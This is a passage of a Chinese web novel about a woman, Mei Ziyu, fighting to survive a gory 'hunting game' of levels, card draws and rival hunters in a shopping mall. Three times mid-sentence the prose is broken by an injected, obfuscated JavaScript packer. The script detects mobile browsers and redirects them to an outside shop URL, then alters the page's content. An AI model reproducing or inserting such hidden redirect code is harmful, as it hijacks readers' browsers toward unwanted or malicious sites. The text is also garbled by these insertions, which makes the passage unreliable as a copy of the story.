不。如果她立刻跑掉,这两人只会停止互殴,一起追上来。她全力奔跑,男鬼也可以立刻追上她。而一旦进入男鬼的地盘,他绝不会再玩些欲擒故纵的把戏,而会立刻取她性命。 她忽然想到一条有些冒险,但比逃跑生存概率更大的路。 已知: 1.两人都想亲手杀了她。 2.猎人只能在自己的领地杀猎物。 3.两人势均力敌,但男鬼实力应该微微大于杀手。 理论上,如果他们不改变目标,那只要她一直待在杀手的领地上,就能保证不死。 电子女音恰到好处地响起,将她的思绪拉回现实。 【逃生成功,升级至level11】 【游戏玩法4:进入追杀状态后,猎人通过击杀猎物升级,猎物通过在相应领地内逃生升级】 ……哦? 梅子喻低下头去,看自己脚踩的位置。 白线里侧。 她向右一步,跨到白线另一端。 【逃生成功,升级至level12】 “……” 这两位猎人都在追杀她,两块相邻的领地对她来说都是“相应领地”。 梅子喻像跳皮筋一样,左脚站定,右脚在线两侧反复横踩。 【逃生成功,升级至level13】 【逃生成功,升级至level14】 …… 【逃生成功,升级至level24】 怎么还不到升级结算! 梅子喻都快跳上踢踏舞了,也没等来系统的升级奖励时间。眼见那两位猎人终于从自行车与摩托车的纠缠中爬开,各自擦拭着脸上的鲜血,她也不敢继续卡在边界,急忙向杀手的领地里跑去。 停止升级后,又弹出一条成就来。 【解锁成就:神之右脚】 【成就说明:右脚踩一踩,等级升一升。1分钟内连续升级,我知道你在卡bug。】 【成就buff:被您的右脚踩到的第一位玩家所有属性值回满,包括您自己】 "新!人!" 那是破风箱一般、撕扯着漏风的喉咙喊出来的惨烈声音。 杀手愤怒地喊她。 两位猎人隔开一段距离站着,齐齐看向她,男鬼面色不善,杀手眼含杀意,看起来,都恨不得将她千刀万剐,仿佛下一秒就会齐齐扑来,将她碎尸万段。 大概她逃生成功时,猎人那边也会有显示。 几秒钟的尴尬沉默后,梅子喻做了个请的动作,小声说道:“你们……继续。” 这句话像个按钮,启动了两位猎人暴虐开关。杀手提起匕首便向她冲来,但人还未赶到,被男鬼从身后扯住上吊绳,硬生生拉了回来。杀手惨叫着,反手一刀割断上吊绳,再向男鬼捅去。 男鬼侧身躲过,头发却被割掉几缕,断口处淋淋漓漓地滴下黑色的血来,竟好似那头发也是他身体的一部分。他眉间一阵抽搐,发神经地大笑了几声,说道:“这下不得不杀你了!” 那头发如同有了生命,像数十条坚韧的触手,纷纷扬起发尾,从四面八方圈住杀手的身体。 对,就是这样! 梅子喻简直想拍手叫好。 接下来,就要看杀手能与男鬼抗衡多久,再做决策。最好打个两败俱伤,她就可以趁机逃…… 咚。 杀手重重地栽倒在地上,像一滩破布烂肉一般,软了。 “……” 梅子喻的笑容僵在脸上。 男鬼的头发从杀手的胸口的大洞里钻出来——竟是将头发聚成了一把长刀,捅了个血淋淋的对穿。 原来,他们并非势均力敌么?…… 梅子喻看着杀手的尸体,那具瘦削美丽的躯体变成了四处漏血的筛子,白肤血洞,猎奇中又有一丝美感。她难以对差点杀掉她的人产生同情,只是想:这也太菜了! 说不好是太菜、太笨、还是太倒霉。 倒霉就倒霉在遇到了梅子喻,被用了个意想不到的攻击转移,在战斗最开始被削去了半管血条。 笨就笨在当初对着她一个新手放大招,几乎把半栋楼都轰没,结果现在可好,技能冷却,被个半路窜出来的男鬼一刀捅死,连猎物带性命一起丢掉。 说来,都这么久了,杀手的CD也应该结束了吧? 梅子喻原本的计划被打乱,现在脑中一片混乱,想找出一条生路来,但又似乎处处都是死路。现在用恢复buff么?不,这救命的东西,应该在最恰当的时机用掉,以保证最大的存活可能性…… 男鬼将头发从头捋到尾,攥了一手的血,甩到地上。他抬起头,朝梅子喻露出一个阴恻恻的笑容。 不等梅子喻反应,他一仰手,一根新的上吊绳迅速朝梅子喻飞去。 “索命——” 这次可没什么buff供她躲闪,那绳立即套牢她的脖子,猛地缩紧。 好疼! 锯齿卡进她血肉的瞬间,她觉得自己仿佛要疼死过去。紧接着,杀手刚刚的喷血盛状态复现在她的身上。 她感受到自己的性命在迅速流失。 【血量:120】 【血量:80】 【血量:20】 【警告:您的血量正在快速下降,请治疗】 此时,只要她将右脚踩在自己的左脚上,就可以立刻回满血。 但这只是一时之策。这个buff只能回一次血,现在还不是用掉的时机。 【血量:1】 …… 梅子喻瘫软在地上,动弹不得。 但血量没再继续下降。 她没有死。 果然,规则是有效的,只要她在杀手的地盘上,就不会被男鬼杀死。 不对。 梅子喻忽然想到一个问题:如果杀手死了,这里还能算杀手的领地么? 男鬼缓步走来,他满脸满身都是杀手溅出来的血,身子还带着残余的电流,不时抽搐一下,完全就是一只刚吃了人的鬼。 要与他周旋么?向他哀求么?现在,究竟还有什么办法,可以活下去…… “猎物小姐。”他蹲下身,扯住梅子喻的头发,强迫她与自己对视,说道:“能否与我解释一下,刚刚那是什么招式?” 命被人握在手里,梅子喻如实回答:“一个成就buff。” 男鬼大概十分清楚这游戏的种种玩法,到这里没再细问,又说:“好,那我再问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208940|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一个问题。” 他顿了顿,将梅子喻上下打量了一番,语气中带了一丝轻贱。 “你这样的废物,是怎么杀死星的?” 星?谁? 梅子喻努力地回想了半天,才想起来这是被她无意间砸死的那个倒霉猎人。 “我摔下楼,有几个buff助力,将他砸死的。” “……猎物小姐,你不老实呢。” 男鬼似乎不信她,伸手一扯,便将那上吊绳缩紧几分。锯齿刺入伤口,拨皮抽筋般地痛。 “啊啊啊啊!” 【血量:0.9】 【警告,您即将死亡】 【血量:0.8】 【警告,您即将死亡】 【血量:0.7】 【警告,您即将死亡】 男鬼冷笑了声,松开手,说道:“看不出来,你的防御还挺厚。” 梅子喻脑中灵光一闪,忽地瞪大了眼。 男鬼说她防御很厚,自然是因为他知道这把上吊绳的攻击有多强。 但梅子喻心里清楚,她毫无防御。就像一开始,她被绳子吊住时,血量飞速下降。 而现在血量这样缓慢地流失,并不是因为她自己防住了,而是另有原因—— 只有一个可能,就是还有一条规则:当领地所属的猎人死亡后,猎物可以被其他猎人杀死。 而杀手,正在死亡。由于上面那条规则,杀手的死亡,也将导致她的死亡。 但换个角度想,在梅子喻的血量回到0之前,都意味着杀手还没死! 只要杀手没死,她就还能苟。 【血量:0.5】 【警告,您即将死亡】 果然,男鬼松了手后,血量还以同样的速度下降着。 梅子喻忽然来了精神,哪怕血条见红浑身无力,还是大声说道:“我说的是实话!他被我砸死是因为轻敌,你知道他的死因是什么吗?” “是什么?” “是‘区区致命伤’。” “……” 男鬼虽微笑着,但眉头微微蹙起,显然耐心到了极限,“我还以为,登上排行榜第一的猎物,至少应该是个聪明人。”他叹了口气,站起身来,“猎物小姐,既然你这么想死,我也只好成全你了。” 说罢,拎着上吊绳,拖着梅子喻的身体朝边界处一步一步地走去。 每挪动一下,都是锥心的痛。 【血量:0.3】 【警告:您即将死亡】 梅子喻咬着牙,没喊出声来,任由男鬼将自己向白线拖去。 直到她靠近了杀手软下的身体。 【血量:0.2】 【警告:您即将死亡】 她的右脚微微向右偏了些,对着杀手的面具狠狠踢了一脚。 “喂,CD好了没有。” 梅子喻声音不大,似乎在自言自语。 男鬼并没有理她,而是继续向前走,却在走到白线前一寸时,脚步一顿。 他的头发全部朝天立了起来—— 被雷电选中的征兆。 身后吹起一阵接一阵的烈风,剐蹭过地面砖瓦,飒飒作响。 男鬼微微一怔,随即扬起了嘴角。 “是猎物小姐搞的鬼,对不对?” 他转过身来,张开双臂,风便将他宽大的袍子吹得飘扬起来,颇有几分舒适。 “中二少年,你要用哪招?”男鬼笑着问道:“‘杀了你’还是‘超级无敌旋风电流钻’?” 胸口开了个大洞的杀手晃晃悠悠地站立着。他抬手扶了扶印着脚印的歪掉面具,身上缠绕着一股股密集的蓝色电流,能量场随着他的胸膛一起一伏,扬起的风也随之呼吸。 “闭嘴,死无常。” 一片火花带闪电中,杀手咬牙切齿地说道。 无人在意的角落,梅子喻看着自己岌岌可危的血条,长舒一口气。 还好,赶上了。 【血量:0.1】 【解锁成就:敌我不分】 5. 男鬼五、嘲讽卡 梅子喻刚刚得知了三个无用信息。 第一,男鬼的代号叫无常,或者死无常。 第二,杀手除了“杀了你”之外还有一个大招叫“超级无敌旋风电流钻”。 第三、杀手的代号叫“中二少年”,和她的“梅好明天”有的一拼。 此外,还解锁了两个新成就。 【解锁成就:敌我不分】 【成就说明:猎物为什么要给猎人加血?】 【成就buff:获得猎人标识,使用时间1小时。已佩戴,剩余使用次数2/3】 【解锁成就:濒死体验】 【成就说明:听说人快死的时候,会激发极大的潜能……】 【成就buff:5分钟内大幅提升最低属性】 虽然说最低属性大幅提升,但梅子喻并没觉得自己的身体机能有什么变化,残血状态的她还是觉得心脏突突地跳,浑身无力,手脚瘫软,仿佛下一秒就要猝死。 她瘫坐在白线外一厘米的地方,仰头看那膨胀到恐怖的电流团,以及被映照得面部煞白如鬼一般的两个猎人,心里一阵打鼓。 往后一步,就是男鬼的领地,还系在她脖子上的上吊绳只会瞬间夺走她最后一丝血量。 停留不动,但这里是杀手的领地,这团电流招呼过来,当然也会一秒结束游戏。 不过她还有个“借刀杀人”的buff在,应该能将打到她身上的攻击转移到男鬼身上——如果那能算成“一次”攻击的话。 不管了,死马当活马医。梅子喻下定决心,管他算成几次攻击,留在这里还有一丝活路,向后退就必死无疑。 炽热而恐怖的电流场中,男鬼却异常兴奋,大笑了几声,抬手做好姿势,准备召唤卡牌—— 三人各显神通,同时喊出了自己的招式名。 “斩首刀!” 男鬼短促有力的一声呵令下,黑色卡牌升起,长发化作两把极具气势的地狱巨刀,刀背上黑雾滚滚,刀鞘上两只银色骷髅滴下血泪,刀光闪动时,阵阵彻骨寒气袭来。 “绝地反击天罗地网电流束!” 杀手身边现出白色卡牌,两手中迸裂出无数电流束,铺天盖地席卷而来,似剑似鞭似绳似网,手里攥住电流的根,便能掌控每一束的走向,无形中透着有序,天罗地网随心而动。 两位猎人气势汹汹撞击在一起,刀电相接,热浪冷流翻滚之时,下方忽然响起清脆的女声。 “吸盘,变身!” 最为关键的厮杀时刻,两人却动作一顿,目光忍不住向下扫去。 只见梅子喻向前一个猛扑,化身吸盘,吸在了地面上。 “……” 一瞬诡异的沉默后,大战一触即发。 梅子喻提心吊胆地围观了一会,发现那两人打得天崩地裂,狂风呼啸,自己却安稳如山,稳稳地吸在白线之外。虽然模样不太好看,格调也很低,但起码……很安全。 那些电流飙到她面前时都立即掉头打向男鬼,好像她周围有一圈保护反弹罩一般。显然,杀手的所有打法都算做一个攻击,在他喊出下一个招式名称前,梅子喻都没什么风险。 此外,还有一个好消息:两人开战后,男鬼的上吊绳便收了回去,现在梅子喻已经变成了自由身。 她还记得进入游戏前,手机上下载了一个病毒软件“猎杀游戏”。若是没有自动升级结算,十有八九就是在手机上手动结算。第一次抽卡时,她抽到一个N级的手机使用技能卡,现在她超过了20级,应该已经解锁了第三道具栏,并且自动装备上了。 “手机。” 梅子喻轻轻喊了一声,眼前立即弹出了手机屏幕。 这种感觉颇为奇妙:她的身子一动不能动,但可以用眼神和意志操控眼前的屏幕,就好像VR游戏一般。 手机上方显示时间:6:31。她还记得自己是在六点出头起的床,这么说来,她进入游戏都不到半个小时。 点开“猎杀游戏”软件,开屏便是一串红色数字: 倒计时:65h29min 刚进入游戏时,电子音说要她存活三天。如此看来,她需要活到后天晚上的12点整,严格来说并没到三天。 软件界面倒是简洁,时间下方只有五个能点的按钮:个人信息、卡牌装备、抽卡、兑换、结算。 时间紧迫,梅子喻没有查看其他信息,直接点击最下方的结算按钮。 【您已升级至24级,是否结算?】 梅子喻点击是。 【现在是升级奖励时间——】 时间停滞,梅子喻看着打成一团的两个猎人,长出一口气。现在她可以慢慢抽卡结算了。 一定要趁这次结算时间,找出一条生路来。 【可分配属性点:14】 【您得到了十四次抽卡机会。】 【您的抽卡次数剩余:14。是否分配属性点及使用抽卡次数?】 梅子喻:速度+14,使用10次抽卡。 【可选卡池:混合卡池、变身卡池、道具卡池、技能卡池、猎人卡池】 猎人卡池?是因为她现在佩戴了那个三次使用机会的猎人标识么? 梅子喻犹豫了一会,还是选择了混合卡池。 难得抽一次卡,还是多抽几种种类比较好。 【卡牌抽取中……】 梅子喻盯着加载圈,心里紧张起来。新手卡池都能让她抽中微波炉,这次普通卡池又能抽出什么来? 【您的抽卡结果如下。】 技能卡-SSR:嘲讽。通过嘲讽对方,得到一次闪现的机会。冷却时间:6h。 技能卡-SSR:中指。被您竖起中指的对象速度-10。冷却时间:30min 属性卡-N:防御+1 属性卡-N:攻击+1 道具卡-SSR:节约卡。节省您使用卡牌的咒语。 道具卡-SSR:补血水杯。用此水杯接到的水会变成血药。 变身卡-SSR:墙头草。柔软墙头草,哪碰往哪倒。 替身卡-SR:待激活。在您心仪的地点念出“替身卡,激活”,即可激活该卡牌。 替身卡-SSR:待激活。在您心仪的地点念出“替身卡,激活”,即可激活该卡牌。 提问卡-R:一次不普通的提问机会。超出卡牌权限的问题无法解答。 闪现!补血!梅子喻简直大喜过望。 这次不是新手卡池,怎么却抽到这么多张SSR卡? 看来大幅加强的那个属性,是幸运。 也就是说,她最低的属性值是幸运。 梅子喻倒也不意外,毕竟开局随机的时候就知道了自己的幸运被随了个1。不过现在倒因祸得福,抽出了一个极有用的闪现卡。 梅子喻:提问,嘲讽卡的使用方法。 【呼唤玩家的代号锁定目标,说出任意嘲讽对方的话语即可自动使用该技能卡牌。】 【对方对您的相对方向为您的位移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208941|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向。】 【对方的破防程度越高,您闪现的距离就越长。】 梅子喻:…… 居然就是真正意义上的嘲讽。 不知道什么时候杀手会使出其他招式,事不宜迟,梅子喻决定现在就来用这张嘲讽卡。 至于嘲讽对象的选择……毫无疑问,选那个更容易破防的。 “中二少年!” 战斗刚刚进入白热化阶段,杀手略占下风,被压得向角落退去。他正全力以赴地接招反击,忽然听得有人叫他这个羞耻的代号,不由得浑身一颤,目光向下瞥去。 那没嘴也没手、牢牢吸附在地面上的吸盘里传出了猎物的声音。 “中二少年,你的招式名真的又烂又长又中二!” “…………” 吸盘周围闪起一圈白光,下一秒,连光带盘消失不见。 …… 梅子喻靠着墙深深吸气,手压在胸口,抚平激烈的心跳。 她居然真的躲开了猎人的追杀。 使出嘲讽之后,她便闪现到了商场某层走廊里,同时也恢复了人形。最开始的几分钟,她一动都不敢动,生怕自己还在猎人的周围,发出一点动静引起他们的注意。但长久的寂静让她发觉,这里其实离他们很远。 上班之余,她时常来这个商场里白嫖空调,对其中构造十分熟悉。只要离开这个走廊,看看周围的店铺,便能知晓自己身处何处。 梅子喻踮着脚,小心翼翼地走到走廊拐角,扶着墙露出个头,向外打探。刚望出去一眼,便吓得向后跌坐。 ——商场的瓷砖地面上,横七竖八躺着几十具尸体,有的靠墙坐着,身下一滩血;有的身子躺在店铺里,软下的手脚向外伸着;有的挂在栏杆上,像是走投无路时试图从商场高层向下跳,结果还是死在了跳楼的前夕。 无一例外的,他们的头都不见了。 梅子喻肠胃里一阵翻江倒海。 这些,都是被男鬼杀死的猎物么?…… 不能放松警惕,也不能因为恐惧放弃,她必须继续逃。 梅子喻平复下心情,还是向外走去。她得先弄清楚这里在哪,并判断出男鬼的位置。接下来,就要想办法恢复血量,然后绕着男鬼,逃出这个商场。 xx酸菜鱼,xx烧烤,xx牛蛙,xx火锅…… 这里,是六楼最西侧。 而刚刚他们战斗的地方,是一楼的东门。 一下子蹿出这么远,看来杀手真的很破防。 梅子喻稍稍放下心来,快步绕过尸体,向更西侧的卫生间跑去,心里计划着下一步的行动:去卫生间喝水得到血药,然后快点下到一楼,从西门逃出去—— 刚进到卫生间的走廊,还未冲进女厕里,却见男厕里正走出一男一女。她出现的突然,男人吓得呆愣,女人则一把扯住他的胳膊,拼了命地向外冲。 不敢躲进卫生间里,第一时间跑向更广阔的地带,看这样子,应该也是猎物。 梅子喻想着结队,跟着追过去,招呼道:“别跑……” 女人忽然顿足,反手扔出一把飞镖。 那飞镖比杀手的电击还快,两人离得也不远,梅子喻半个字都没说完,飞镖已经对着她的两目之间直冲而来。 她忽然想起,自己现在带着猎人的标识。 可她现在只剩下0.1的血量了,随便一拳都能将她杀死,更别提这攻速飞快的飞镖。千算万算躲过了猎人的追杀,却要如此草率地死在猎物的手里么—— 6. 男鬼六、全游第一 浓烈的不甘涌上心头,梅子喻下意识闭上了眼,狠狠地骂了句脏话,既作发泄,也作遗言。 “操——” 飞镖贴着她的头顶擦过,她感到自己的身体顺着风势柔软地躺倒,竟未被伤到分毫。 她,变成了一棵长在墙上的草。 女人做了一个召回的手势,飞镖原路返回,墙头草反方向顺势倒下,飞镖又贴着草飞回女人的手里。 梅子喻都已经做好了再睁眼时就在地狱的准备,没想到,她不仅活得好好的,还就这么躲过了两次攻击。 百思不得其解时,她忽然回想起了上次抽卡的结果。 咒语节省卡,和,墙头草变身卡。 而她刚刚骂了句草。 “……” 虽说有点离谱,但好歹是苟活了下来。 女人将飞镖收回手里,警惕地望着她,问道:“你是猎物?” 这个女人居然立即判断出了她的真实身份,看来对游戏机制十分熟悉。 梅子喻还未回答,女人谨慎地四处看了一圈,又说道:“外面有无常的替身,我们进来说话。” 说罢,和男人一起退回了男卫生间。 梅子喻连忙解除变身,跟了上去。 这商场的卫生间很干净,男厕里也都是隔间,和女厕并没什么区别。梅子喻怕再生什么变故,没顾上和他们解释,第一时间打开手机调整了道具卡槽,微波炉卸下,换上补血水杯,又急匆匆冲到洗手池边,打开水龙头。 水! 梅子喻像个没喝过水的渴死鬼一样两眼放光,激动道:“补血水杯!” 她手中现出刚得到的补血水杯,连灌五大杯,心率终于降了下去,视线也清晰不少,世界都变明亮了。 梅子喻长出一口气,回过头面对两人,尬笑着解释道:“不好意思,差点死了。” “看得出来。”女人说道。 大概她这一通手忙脚乱的加血操作十足猎物做派,那两人的神情放松了些。男人问:“你为什么是猎人的标志?” 梅子喻反问道:“意外得到的。你们又为什么看得到猎人标志?” “正常不都能看到么……你是新人?但新人怎么会有这么好的补血道具?” 女人解释道:“隐形眼镜,新手卡池里极大概率能抽到的侦查道具,可以显示对方的身份,是猎物还是猎人,一般单抽就可以得到。你没抽到吗?” “……” 梅子喻不仅十连都没抽到,还抽了个没用的微波炉。 “我比较倒霉,没有这个道具。”她话锋一转,又说:“但我有一些别的有用技能,而且我刚和猎人战斗过,可以交换信息。要合作么?” 女人点点头,朝她伸出手:“儿童文学,游戏时间14天。”指了指身后的男人,“灰烬,游戏时间8天。” 这种情境下,没有多余的废话,握了手,就算合作达成。梅子喻郑重地握了上去,说道:“梅好明天。游戏时间,半小时。” 那两人都是一惊。 “是……排行榜上的那个吗?”灰烬惊讶道:“怪不得有这么好的道具。” 儿童文学看向她的眼神多了几分敬佩:“原来是你。” “什么排行榜?” 梅子喻想起男鬼所说“排行榜第一的猎物”,她不会真的登上了什么猎物榜单的榜首吧? 儿童文学说道:“猎杀点数排行榜。你在app里点开个人信息,有你的排名。再点开排名,就是那个排行榜。” 梅子喻点开信息,只见自己的昵称“梅好明天”旁,赫然列着一行字“猎杀点数no.1” 点进去,看到一张极长的排行榜: no.1梅好明天游戏时间:42min身份:猎物 no.2无常游戏时间:12d身份:猎人 no.3鼹鼠游戏时间:48d身份:猎人 …… ……她的排名在男鬼上面? 不是,她怎么就成猎杀第一名了?! 排行榜右上还有一行小字解释:此榜单为猎杀点数排行,不区分猎物和猎人。猎杀数量越多,点数越高。猎杀其他玩家后可继承该玩家的点数。 “之前榜单第一一直都是猎人星。但不知怎么,今早他突然就死了。按理来说继承了他点数的人肯定会直接成为第一,但突然冒出了一个新人……啊。”灰烬说着说着,恍然大悟:“所以,你杀了星?” 星,是那个开局就被梅子喻砸死的猎人。 男鬼当时也问了她怎么杀死星的,看来也是通过这个榜单推测的。 儿童文学问:“你是怎么做到的?能用同样的方法把无常杀死吗?” 杀死男鬼,简直是天方夜谭。 “那是个意外,当时不知道怎么触发了一个成就……没办法复现。我们还是想想别的招吧。”梅子喻叹了口气:“我都没法攻击无常,我这个残血的状态就是被他打的。” 儿童文学略一思索,说道:“我明白了。既然如此,我们还是不要和无常正面对抗,想办法绕开他和他的替身,从一楼逃出去。 “那就利用你的猎人标识,你去抽一些替身卡,我们用替身牵制无常的替身。” 见梅子喻一脸迷茫,儿童文学快速解释了一下。 “猎人可以抽替身卡,猎物可以抽变身卡。所以你刚才变身,我就知道你是猎物了。 “变身卡是变成各种非人形态的物品,用来躲藏;替身卡是拥有一到多个类人形态的替身,用来抓人。SSR级以下变身卡和替身卡都只能用一次。” 听到这里,梅子喻心里一惊,这样说来,她的小石头、吸盘都不能再用了,变身卡槽里只剩下一个墙头草。 不过,她还有两张未激活的替身卡。 梅子喻直接念道:“替身卡,激活。” 【您已激活替身卡】 【替身卡-SSR:卫生纸人。基础口令:卫生纸,我命令你们以人的形态现身。注意,需要在卫生间喊出相应口令。】 “……” 对了,卡面里要求在对应地点激活来着。 那她可真是选了一个激活的好地方。 灰烬期待地问道:“是什么类型的替身?” “是……纸人。” “纸人?”儿童文学大吃一惊:“无常的替身也是纸人,怎么可能有重复的替身卡……” “不好意思,是我没说清楚。我的替身卡,是,卫生纸人。” 梅子喻掏出手机,把卫生纸人的卡面给两人看。大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208942|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概这种令人无语的卡牌并不在多数,看过之后,两人都沉默了。 “虽然……卫生纸听起来战斗力比较薄弱,但,毕竟是张SSR卡。”灰烬说道:“实际叫出来看看效果吧。” “对。无常的卡,再厉害也就是SSR,同样级别的,不会有什么太大的强度差距。”儿童文学倒是不怎么失望的样子,她游戏时间长,应该对这个游戏比较了解,这话给梅子喻打了一针定心剂,点头应道:“那我直接使用了。” 她转过身,面朝里侧的隔间们,念道:“卫生纸,我命令你们以人的形态现身。” 吊灯闪了闪,一阵哐当哐当的卷纸滚动声后,数十道隔间的门齐刷刷地打开,卫生纸团成的替身们一瘸一拐地走了出来,排着队停在了梅子喻面前,满满当当挤了一屋子。 纸人面容模糊,身形扭曲,勉强看得出来是男性,大概是这里是男厕的缘故。他们显形后就没再有别的动作,乖顺沉默地沉着头原地站着,等待梅子喻的下一步指令。 “这是基础指令,卡牌上也只写了基础指令。如果想要知道更多指令,要么就是说一些话尝试,要么用提问卡,要么用百科全书道具。”儿童文学说到这,神色黯然起来:“我之前一个朋友是有这个道具的。” 后面的话没说,但意思很明显,那朋友已经不在了。 灰烬欲言又止,最后也还是沉默。大概,他们共同经历了那位朋友的死亡。 在走廊里看到那一群无头尸体时,梅子喻就感受到了这里的生存法则有多残酷。 所以,为了活下去,他们更应该拼尽一切。 梅子喻说道:“我有……咒语节省卡。” 这突兀的一句话打破了沉重的氛围,拉回了另两人的思绪。灰烬问道:“还有这种卡?”转头又问儿童文学:“你知道这卡吗?” 儿童文学摇头。游戏老手都没听说过的道具,看来确实稀有,衬得上SSR的等级。 就在刚刚,梅子喻靠这张卡变成墙头草救了她一命。她本以为节约卡的意义到此为止了,没想到,还能有别的用途。 梅子喻说道:“节省咒语,所以我们只需要测试一些词语就可以了,不用特别精准,也能激发对应的指令。” “比如……卫生纸,保护。”她选了一个范围很大的词,准备逐渐缩小概念。 但没想到,这一下就试了出来。 纸人们开始有了动作。 他们身子保持不动,头却开始一圈圈地拧动起来,嘴里喃喃地念着一些模糊的话语。 “保护,和平……” 梅子喻脸色一变:“等等,不太对吧,为什么是保护和平?应该是保护主人之类的……” 灰烬说道:“他们为什么要保护和平?作为卫生纸,不应该保护环境才对吗?” 儿童文学也神色严肃:“我们没法确定激活的到底是哪条指令。先看看他们的行动吧,如果有太不可控的行为,你就先收回。” “保护中……检测中……锁定目标……” “长发……男人……” “杀人……过多……” 它们突然停止了头部扭动,纸人头刷刷地转了回来,深深凹下去的双眼正对着卫生间门的方向。 “目标,就在,门外。” 7. 男鬼七、纸人大合唱 目标在……门外? 卫生纸人所说的目标,显然就是男鬼。 难道男鬼就在门外?…… 梅子喻激出一身鸡皮疙瘩,灰烬吓得腿软,扑通一声跪坐在地上,儿童文学掏出飞镖,摆出应战姿态,争分夺秒地提醒道:“只要速度快得过他的索命绳,还有一丝希望……” 嘎吱—— 门被卫生纸人拉开了。 那是一个没有头但却有一头黑色长发披散下来的纸人。 它呆立在门外,并没有动,那群卫生纸人却倾巢而出,将断头纸人围了个水泄不通。 只听被围殴的纸人发出来几声嘶哑的女性的哀嚎,然后就是一道道纸被撕开的声音。 “救命……救……命……诗……” 撕拉——撕拉—— 看来优势在他们。梅子喻正长出一口气,却从儿童文学的眼中看到了极度的惊恐和绝望。 她面色惨白,全身上下都在不停地颤抖着。 为什么?梅子喻不明白。 没过一会,被围住的纸人不再哀嚎,卫生纸人也停下了动作,向外散去,门口只剩满地碎纸屑和长发。 “虚假……目标……” “无杀意……” “排除……” “锁定下一目标……” 它们开始齐刷刷地向门外行进,儿童文学狠狠地抓住梅子喻的手,不知为何带了哭腔:“停下他们!这样只会立刻暴露位置!” 说罢,蹲下身去,一根根捡起无头纸人散在地上的断发,拢在怀里。 梅子喻也懵了,她觉得自己的纸人很强,或许能和男鬼一战,但见儿童文学如此激动,也变得紧张起来,急忙照做。 “卫生纸,停下!停止!回来!坐下!变回卫生纸!……” 无论发出什么指令,卫生纸人们都没有任何反应,只是喃喃地念着“目标、长发、男人”,然后继续向外前进。 梅子喻急得直抓头发:“能不能听懂人话,到底指令是什么啊!” 卫生纸人们脚步一顿。 它们的声音卡顿了一刻,像是机器运行时发生了故障,然后,念出了全新的话语。 “听懂……人话……” 梅子喻:…… 它们是不是接收了一个奇怪的指令? 梅子喻还没试出来正确的停止指令,忽然又弹出一条成就来。 【解锁成就:语文老师】 【成就说明:教导替身使用语言,你就是他们迟来的语文老师】 【成就buff:拥有用语言说服替身的能力】 这又是什么东西?语言说服?嘴炮能力? 可是要怎么说服一张卫生纸?…… 不论如何,卫生纸接到听懂人话的指令后,应该可以正常理解她的话语了。梅子喻没管说服的能力,直接发出命令。 “卫生纸,不要随意攻击目标,你们的任务是溜鬼,是让那个目标找不到我们!” “溜鬼……” “找不到……” “牵制。” 有一只卫生纸忽然说出了梅子喻没有说过的词。 它们居然真的理解了她如此模糊而粗糙的指令。梅子喻眼前一亮,急忙道:“对,你们要想办法保护我们的安全!” 它们能说出其他的词语,就说明它们能思考,既然能够思考,就不用她来下达具体的指令,只要提出目标就好了。 “想办法……” “想……” “思考。” 又是一个梅子喻没有说过的词,用着肯定的、果断的语气。 这次梅子喻听清了,来自那只眉眼陷进去,鼻子凸出来,嘴巴有一个洞的卫生纸。 它是这里面长得最像人一只纸人。 它说:“想出办法了。” “想出办法了。” “想出办法了。” 其他卫生纸跟着说道。最开始是分散的几声,随后,越来越多的纸人同时重复着这句话,像有着多个声部的大合唱。 这些声音逐渐交叠在一起,最整齐的那一声时,所有纸人都长出了一双“眼”——纸面上凹出了两个黑黢黢的洞,通向它们纸包的脑袋里面。 那“眼”还很粗糙,左右大小不一,只是两个圆形的洞,没有精确的形状。但从位置来说,仍旧能判断出来,是他们的眼睛。 “想出办法了。” 这一声过后,所有纸人忽地同时散成了按虚线拆分的一截截纸片,纸片在空中又都团成一只只小纸人,它们飞速挪动着腿脚,朝外奔去。 本来十分拥挤的卫生间,很快变得空空荡荡。 灰烬仍旧坐在地上,目瞪口呆:“什么情况……” 儿童文学把所有看得见的长发都捡了起来,她的心思好像并不在这里,对于刚才十分诡异的卫生纸长眼睛事件没什么反应,十分自然地接受了,只说道:“这个位置已经非常不安全了,要么在无常来之前离开这里,但很可能正好迎面撞上;要么在隔间里躲一下,用变身卡,有概率躲过去。” 听了这话,灰烬吓得嘴唇发白,但还是努力撑着地站起来,一言不发地朝隔间走去,梅子喻却忽然说道:“不用躲。” 灰烬停下脚步,回头看她,面如死灰,似乎并不抱什么希望。 他说道:“我活到现在,是因为从来没有暴露过自己的位置。” 虽然没有直说埋怨梅子喻的话,但意思也很明显。 梅子喻的替身撕碎了男鬼的替身,导致他们位置暴露。而灰烬悲观地认为,一旦暴露,就是死路一条。 